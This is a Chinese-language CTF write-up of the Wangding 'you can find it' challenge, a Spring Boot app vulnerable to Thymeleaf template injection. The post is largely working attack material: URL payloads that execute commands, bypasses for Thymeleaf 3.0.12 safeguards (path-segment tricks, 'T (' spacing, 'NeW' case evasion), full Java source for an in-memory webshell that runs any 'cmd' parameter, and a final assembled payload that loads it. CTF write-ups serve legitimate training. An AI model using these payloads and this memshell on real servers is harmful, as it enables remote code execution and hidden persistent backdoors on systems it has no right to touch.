网鼎CTF之you can find it 题解—Spring通用MemShell改造

admin 2022年9月16日15:11:01评论102 views字数 5895阅读19分39秒阅读模式

以下内容首发于先知社区,原文地址:https://xz.aliyun.com/t/11688



00 概述

之前参加了网鼎玄武组的CTF,有道题挺有意思。这道题目给了一个findIT.jar 附件,然后还提示了机器不出网。主要考察了以下几个方面:
1、thymeleaf SSTI 漏洞原理
2、thymeleaf SSTI漏洞修复绕过技巧
3、Spring内存马编写
4、Apache Tomcat 9 url 包含特殊字符,例如 /、[]处理与替代
5、调试jar 文件

网鼎CTF之you can find it 题解—Spring通用MemShell改造

打开后发现这个是经典的springboot 项目,里面的IndexController还是比较清晰的。

网鼎CTF之you can find it 题解—Spring通用MemShell改造

开始以为是/path路由下的Fragment 可控下存在SPEL注入,但是用了@ResponseBody 注解,所以这里不存在漏洞。往下看/doc/{data}这个路由没有使用@ResponseBody 进行注解,因此即使没有return 情况下也是可注入的。但由于没有返回提示信息,因此这道题给了jar包让我们调试,不然难度又上一个台阶。
知道了漏洞触发点,接下来开始本地运行下看看情况。

01 thymeleaf SSTI 绕过

http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x

发现控制台报了下面的错误, View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.
网鼎CTF之you can find it 题解—Spring通用MemShell改造

原来这道题的应用依赖thymeleaf 3.0.12 版本,查阅了下官方文档,这个版本做了一下安全提升,主要有以下两个方面。
网鼎CTF之you can find it 题解—Spring通用MemShell改造

尤其是第2个,描述了当从URL中获取视图名称时如果有fragment表达式会避免执行。(具体代码分析可参考@panda 师傅博客 https://www.cnpanda.net/sec/1063.html)里面提到了2个绕过技巧,分别是/path;/payload 和//path/payload ,这里我发现了也可以用/path/;/payload(和shiro权限绕过漏洞很相似)。因此上面的payload就变为
http://127.0.0.1:8080/doc/;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
然后又抛出了新的异常
Invalid template name specification

网鼎CTF之you can find it 题解—Spring通用MemShell改造

我之前分析thymeleaf Fragment 注入的文章 https://xz.aliyun.com/t/9826 里有提到viewName和Fragment ,由于这道题里没有return 这两个中的任何一个,所以我们要补全Fragment—即:

${T(java.lang.Runtime).getRuntime().exec("id")}::main.x
这回又又报了新的错误

网鼎CTF之you can find it 题解—Spring通用MemShell改造因此涉及到T这个关键字绕过,参考了三梦师傅提的issue(https://github.com/thymeleaf/thymeleaf-spring/issues/256) ,在T后面添加空格%20。因此新的paylaod 就变成了

http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x

网鼎CTF之you can find it 题解—Spring通用MemShell改造

页面上显示500 错误但从console 打印的日志可以看出来的确已经执行成功了。

02 Spring通用回显内存马改造

这里参考了 spring-cloud-function 的一些memshell的payload。参考了 LandGrey 师傅的文章 https://www.anquanke.com/post/id/198886 使用registerMapping注册了一个 requestMapping,参考c0ny1 师傅的文章https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions 里面的 SpringRequestMappingMemshell 代码,但由于这道题里面并没有用Spring cloud gateway 组件,所以原代码中利用org.springframework.web.reactive.HandlerMapping 来注册registerHandlerMethod就会报错找不到对应的类,于是改造了下SpringRequestMappingMemshell代码来适配最基础通用的Spring Memshell。

使用registerMapping 注册路径为"/*"的RequestMapping,看下registerMapping 的原型函数

public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register "" + mapping + "" to " + method.toGenericString());
}

this.mappingRegistry.register(mapping, handler, method);
}


因此只要把我们编写的恶意方法executeCommand注册进去就可以了。
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
最后改造后的代码如下:

public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
msg = "inject-success";
}catch (Exception e){
e.printStackTrace();
msg = "inject-error";
}
return msg;
}

public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}

03 利用SPEL 漏洞加载加载上面的恶意类

这部分参考LandGrey 师傅的技巧,使用org.springframework.cglib.core.ReflectUtils#defineClass方法,只要传入 类名、类的字节码字节数组 和 类加载器就可以加载恶意类。

//这里为什么用decodeFromUrlSafeString 下面会写到
T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))


04 Apache Tomcat 9 url 包含特殊字符处理与替代技巧

上一步中既然已经写出了比较完整的payload,但是发现依然不能用,由于题目里是get 请求,会发现tomcat 会报400错误和404错误。

404错误:payload 包含了/ ,tomcat 会认为这是一个路径关键字,会找对应的路由,找不到就会报404
400:payload 中包含[] 等特殊字符

因此只能去处理上述的特殊字符,由于SpringRequestMappingMemshell 编译后的class 文件经过base64后里面可能会有/ 这个字符,因此要使用org.springframework.util.Base64Utils.encodeToUrlSafeString 先将SpringRequestMappingMemshell.class 处理成能够用在url 传输的base64编码。然后再使用org.springframework.util.Base64Utils.decodeFromUrlSafeString 进行解码操作。
另外由于不能使用java.net.URL[0] ,因此我这里就用java.net.URL("http","127.0.0.1","1.txt")进行了替代,这个随便写就行不影响。

05 thymeleaf 过滤new 关键字处理

通过前面四步已经是比较完整的payload 了,但是还是继续报Invalid template name specification 错误,通过调试jar后最终发现还是thymeleaf 3.0.12 containsSpELInstantiationOrStatic 这个函数进行了过滤所导致的,让你不能使用new 这个关键字。因此我使用了NeW 大小写进行了绕过。

06 成品

__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x

网鼎CTF之you can find it 题解—Spring通用MemShell改造

07 总结

网鼎的这道题小巧而不简单,考察的知识点还是挺多的。我又要要去学习Java 了~

原文始发于微信公众号(风藤安全):网鼎CTF之you can find it 题解—Spring通用MemShell改造

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月16日15:11:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网鼎CTF之you can find it 题解—Spring通用MemShell改造https://cn-sec.com/archives/1296930.html

发表评论

匿名网友 填写信息